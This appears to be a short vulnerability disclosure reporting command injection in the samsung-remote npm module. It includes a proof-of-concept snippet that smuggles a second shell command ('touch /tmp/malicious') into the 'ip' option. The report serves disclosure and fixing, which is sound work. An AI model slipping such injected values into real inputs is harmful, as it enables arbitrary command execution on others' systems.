[samsung-remote] Command injection

I would like to report a command injection vulnerability in the **samsung-remote** npm module. It allows arbitrary shell command execution through a maliciously crafted argument.

var remote = new SamsungRemote({
    ip: '127.0.0.1; touch /tmp/malicious;' 
});

remote.isAlive(function(err) {});